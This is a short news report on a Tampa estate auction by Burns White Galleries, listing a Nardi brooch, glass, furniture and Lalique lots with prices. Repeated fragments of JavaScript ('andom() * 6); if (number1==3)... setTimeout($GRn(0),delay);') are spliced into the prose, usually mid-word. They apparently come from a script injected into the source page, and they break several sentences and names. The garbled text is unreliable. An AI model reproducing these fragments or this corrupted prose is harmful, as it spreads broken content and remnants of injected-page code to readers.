TAMPA, FLA. — A signed brooch depicting a blackamoor was the marquee lot at an estate auction conducted September 12 by Burns White Galleries. The jewelry piece was designed by Giulio Nardi (Italian, mid-Twentieth Century), a Venetian jeweler who started his studio there in 1924. The brooch brought $9,200 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was the “star of the show,” according to Frances White, the firm’s president.

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A Duncan McClellan art glass vase, 18 inches high andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with an overlay carved glass floral motif, was signed on the bottom by artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold for $1,150. A Lloyd Jones mangrove table with “D”-form glass top, the base fashioned after mangroves of copper with green patina, took $575. Jones was a well-known craftsman in the Florida area. The table measured  29 by 48 by 16 inches.

From the Huntington Hartford estate (founders of the A&P supermarket chain) came a Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andel lamp with “some condition issues,” according to White, but a savvy bidder took it home for $575.

Conversely, condition was described as “mint” for a Lalique “Igor” caviar  bowl with dolphin form base, the inner liner with dolphin finial lid set into a chrome frame andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with a mother-of-pearl spoon. Signed Lalique, France, the 10-inch-high bowl finished at $863.

Prices reported include the buyer’s premium.

Burns White Galleries’ upcoming sales include one on October 17 featuring fine art, paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculptures, which will offer a Zuniga sculpture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Willard Metcalf painting. On October 23, the firm will offer contents of the Tampa Club, onsite at 100 E. Kennedy Boulevard, 41st floor. For information, www.burnswhitegalleries.com or 813-288-0022.